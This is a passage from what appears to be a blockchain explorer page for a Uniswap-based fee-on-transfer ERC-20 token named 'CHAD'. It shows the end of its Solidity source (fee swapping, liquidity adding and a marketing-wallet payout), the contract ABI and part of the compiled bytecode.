                super._transfer(from, address(this), fees);
            }

            amount -= fees;

        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{ value: ethAmount } (
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing ;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) { return; }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing;


        tokensForLiquidity = 0;
        tokensForMarketing = 0;


        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }

        (success,) = address(marketingWallet).call{ value: address(this).balance } ("");
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"},{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"},{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxTxnAmountAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentage","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526000600b60006101000a81548160ff0219169083151502179055506000600b60016101000a81548160ff0219169083151502179055506040518060c0016040528060008152602001600081526020016000815260200160008152602001600081526020016000815250600d600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015550506000601a55348015620000bf57600080fd5b506040518060400160405280600481526020017f43484144000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f434841440000000000000000000000000000000000000000000000000000000081525081600390805190602001906200014492919062000e70565b5080600490805190602001906200015d92919062000e70565b5050506000620001726200072f60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200023d8160016200073760201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505033601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002f957600080fd5b505afa1580156200030e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000334919062000f8a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200039757600080fd5b505afa158015620003ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d2919062000f8a565b6040518363ffffffff1660e01b8152600401620003f192919062000fcd565b602060405180830381600087803b1580156200040c57600080fd5b505af115801562000421573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000447919062000f8a565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200048f60a05160016200073760201b60201c565b60016018600060a05173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200051b817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200083460201b60201c565b5060006b033b2e3c9fd0803ce800000090506064816200053c919062001062565b60078190555060648162000551919062001062565b60088190555060646003826200056891906200109a565b62000574919062001062565b6009819055506127106001826200058c91906200109a565b62000598919062001062565b600a819055506004600d600101819055506001600d60020181905550600d60020154600d60010154620005cc9190620010fb565b600d600001819055506004600d600401819055506001600d60050181905550600d60050154600d60040154620006039190620010fb565b600d600301819055507382c9e4e8dc4a8fad35319350c83ed116e8cf93ee600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000683620006756200086260201b60201c565b60016200088c60201b60201c565b620006963060016200088c60201b60201c565b620006b8620006aa6200086260201b60201c565b60016200073760201b60201c565b620006cb3060016200073760201b60201c565b620006ed620006df6200086260201b60201c565b60016200098960201b60201c565b620007003060016200098960201b60201c565b6200071560a05160016200098960201b60201c565b62000727338262000a8660201b60201c565b505062001482565b600033905090565b620007476200072f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007d090620011b9565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000620008586200084a6200072f60201b60201c565b848462000c3560201b60201c565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200089c6200072f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200092e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092590620011b9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b620009996200072f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a2290620011b9565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000af9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000af0906200122b565b60405180910390fd5b62000b0d6000838362000e0860201b60201c565b62000b298160025462000e0d60201b620021361790919060201c565b60028190555062000b87816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000e0d60201b620021361790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000c2991906200125e565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000ca8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c9f90620012f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000d1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d129062001389565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000dfb91906200125e565b60405180910390a3505050565b505050565b600080828462000e1e9190620010fb565b90508381101562000e66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000e5d90620013fb565b60405180910390fd5b8091505092915050565b82805462000e7e906200144c565b90600052602060002090601f01602090048101928262000ea2576000855562000eee565b82601f1062000ebd57805160ff191683800117855562000eee565b8280016001018555821562000eee579182015b8281111562000eed57825182559160200191906001019062000ed0565b5b50905062000efd919062000f01565b5090565b5b8082111562000f1c57600081600090555060010162000f02565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f528262000f25565b9050919050565b62000f648162000f45565b811462000f7057600080fd5b50565b60008151905062000f848162000f59565b92915050565b60006020828403121562000fa35762000fa262000f20565b5b600062000fb38482850162000f73565b91505092915050565b62000fc78162000f45565b82525050565b600060408201905062000fe4600083018562000fbc565b62000ff3602083018462000fbc565b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200106f8262000ffa565b91506200107c8362000ffa565b9250826200108f576200108e62001004565b5b828204905092915050565b6000620010a78262000ffa565b9150620010b48362000ffa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620010f057620010ef62001033565b5b828202905092915050565b6000620011088262000ffa565b9150620011158362000ffa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200114d576200114c62001033565b5b828201905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620011a160208362001158565b9150620011ae8262001169565b602082019050919050565b60006020820190508181036000830152620011d48162001192565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001213601f8362001158565b91506200122082620011db565b602082019050919050565b60006020820190508181036000830152620012468162001204565b9050919050565b620012588162000ffa565b82525050565b60006020820190506200127560008301846200124d565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620012d960248362001158565b9150620012e6826200127b565b604082019050919050565b600060208201905081810360008301526200130c81620012ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200137160228362001158565b91506200137e8262001313565b604082019050919050565b60006020820190508181036000830152620013a48162001362565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620013e3601b8362001158565b9150620013f082620013ab565b602082019050919050565b600060208201905081810360008301526200141681620013d4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200146557607f821691505b602082108114156200147c576200147b6200141d565b5b50919050565b60805160a051614e15620014d260003960008181610fe30152611716015260008181610d26015281816135ec015281816136dc015281816137030152818161379f01526137c60152614e156000f3fe6080604052600436106102345760003560e01c8063715018a61161012e578063b62496f5116100ab578063d257b34f1161006f578063d257b34f14610875578063dd62ed3e146108b2578063ddd46a6b146108ef578063e16830a814610918578063f2fde38b146109415761023b565b8063b62496f51461078b578063c0246668146107c8578063c18bc195146107f1578063cd6a0c051461081a578063d212a69a146108455761023b565b806395d89b41116100f257806395d89b411461068057806396880b17146106ab5780639a7a23d6146106e8578063a457c2d714610711578063a9059cbb1461074e5761023b565b8063715018a6146105d55780637571336a146105ec5780638a8c523c146106155780638da5cb5b1461062c578063924de9b7146106575761023b565b80631f3fed8f116101bc57806349bd5a5e1161018057806349bd5a5e146104dc5780634fbee1931461050757806366ca9b83146105445780636ddd17131461056d57806370a08231146105985761023b565b80631f3fed8f146103e357806323b872dd1461040e5780632851a5cf1461044b578063313ce56714610474578063395093511461049f5761023b565b806311a582c31161020357806311a582c31461030e5780631694505e146103375780631732cded1461036257806318160ddd1461038d5780631a8145bb146103b85761023b565b806302dbd8f81461024057806306fdde0314610269578063095ea7b31461029457806310d5de53146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613920565b61096a565b005b34801561027557600080fd5b5061027e610a81565b60405161028b91906139f9565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190613a79565b610b13565b6040516102c89190613ad4565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190613aef565b610b31565b6040516103059190613ad4565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190613920565b610b51565b005b34801561034357600080fd5b5061034c610d24565b6040516103599190613b7b565b60405180910390f35b34801561036e57600080fd5b50610377610d48565b6040516103849190613ad4565b60405180910390f35b34801561039957600080fd5b506103a2610d5b565b6040516103af9190613ba5565b60405180910390f35b3480156103c457600080fd5b506103cd610d65565b6040516103da9190613ba5565b60405180910390f35b3480156103ef57600080fd5b506103f8610d6b565b6040516104059190613ba5565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190613bc0565b610d71565b6040516104429190613ad4565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190613aef565b610e4a565b005b34801561048057600080fd5b50610489610f25565b6040516104969190613c2f565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c19190613a79565b610f2e565b6040516104d39190613ad4565b60405180910390f35b3480156104e857600080fd5b506104f1610fe1565b6040516104fe9190613c59565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190613aef565b611005565b60405161053b9190613ad4565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190613920565b61105b565b005b34801561057957600080fd5b50610582611172565b60405161058f9190613ad4565b60405180910390f35b3480156105a457600080fd5b506105bf60048036038101906105ba9190613aef565b611185565b6040516105cc9190613ba5565b60405180910390f35b3480156105e157600080fd5b506105ea6111cd565b005b3480156105f857600080fd5b50610613600480360381019061060e9190613ca0565b611325565b005b34801561062157600080fd5b5061062a611417565b005b34801561063857600080fd5b506106416114ed565b60405161064e9190613c59565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190613ce0565b611517565b005b34801561068c57600080fd5b506106956115cb565b6040516106a291906139f9565b60405180910390f35b3480156106b757600080fd5b506106d260048036038101906106cd9190613aef565b61165d565b6040516106df9190613ad4565b60405180910390f35b3480156106f457600080fd5b5061070f600480360381019061070a9190613ca0565b61167d565b005b34801561071d57600080fd5b5061073860048036038101906107339190613a79565b6117fe565b6040516107459190613ad4565b60405180910390f35b34801561075a57600080fd5b5061077560048036038101906107709190613a79565b6118cb565b6040516107829190613ad4565b60405180910390f35b34801561079757600080fd5b506107b260048036038101906107ad9190613aef565b6118e9565b6040516107bf9190613ad4565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190613ca0565b611909565b005b3480156107fd57600080fd5b5061081860048036038101906108139190613d0d565b6119fb565b005b34801561082657600080fd5b5061082f611b31565b60405161083c9190613c59565b60405180910390f35b34801561085157600080fd5b5061085a611b57565b60405161086c96959493929190613d3a565b60405180910390f35b34801561088157600080fd5b5061089c60048036038101906108979190613d0d565b611b81565b6040516108a99190613ad4565b60405180910390f35b3480156108be57600080fd5b506108d960048036038101906108d49190613d9b565b611c2a565b6040516108e69190613ba5565b60405180910390f35b3480156108fb57600080fd5b5061091660048036038101906109119190613920565b611cb1565b005b34801561092457600080fd5b5061093f600480360381019061093a9190613ca0565b611e7d565b005b34801561094d57600080fd5b5061096860048036038101906109639190613aef565b611f6f565b005b610972612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f890613e27565b60405180910390fd5b81600d6004018190555080600d60050181905550600d60050154600d60040154610a2b9190613e76565b600d60030181905550600f600d600301541115610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7490613f18565b60405180910390fd5b5050565b606060038054610a9090613f67565b80601f0160208091040260200160405190810160405280929190818152602001828054610abc90613f67565b8015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b5050505050905090565b6000610b27610b20612194565b848461219c565b6001905092915050565b60166020528060005260406000206000915054906101000a900460ff1681565b610b59612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90613e27565b60405180910390fd5b611388610bf3610d5b565b610bfd9190613fc8565b6103e883610c09610d5b565b610c139190613ff9565b610c1d9190613fc8565b1015610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c55906140c5565b60405180910390fd5b611388610c69610d5b565b610c739190613fc8565b6103e882610c7f610d5b565b610c899190613ff9565b610c939190613fc8565b1015610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906140c5565b60405180910390fd5b6103e882610ce0610d5b565b610cea9190613ff9565b610cf49190613fc8565b6007819055506103e881610d06610d5b565b610d109190613ff9565b610d1a9190613fc8565b6008819055505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600b60029054906101000a900460ff1681565b6000600254905090565b60145481565b60135481565b6000610d7e848484612367565b610e3f84610d8a612194565b610e3a85604051806060016040528060288152602001614d9360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610df0612194565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f339092919063ffffffff16565b61219c565b600190509392505050565b610e52612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890613e27565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b6000610fd7610f3b612194565b84610fd28560016000610f4c612194565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213690919063ffffffff16565b61219c565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611063612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e990613e27565b60405180910390fd5b81600d6001018190555080600d60020181905550600d60020154600d6001015461111c9190613e76565b600d60000181905550600f600d60000154111561116e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116590613f18565b60405180910390fd5b5050565b600b60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111d5612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125b90613e27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61132d612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b390613e27565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61141f612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a590613e27565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff02191690831515021790555043601a81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61151f612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613e27565b60405180910390fd5b80600b60016101000a81548160ff02191690831515021790555050565b6060600480546115da90613f67565b80601f016020809104026020016040519081016040528092919081815260200182805461160690613f67565b80156116535780601f1061162857610100808354040283529160200191611653565b820191906000526020600020905b81548152906001019060200180831161163657829003601f168201915b5050505050905090565b60176020528060005260406000206000915054906101000a900460ff1681565b611685612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611714576040517f08c379a000000000000000000000000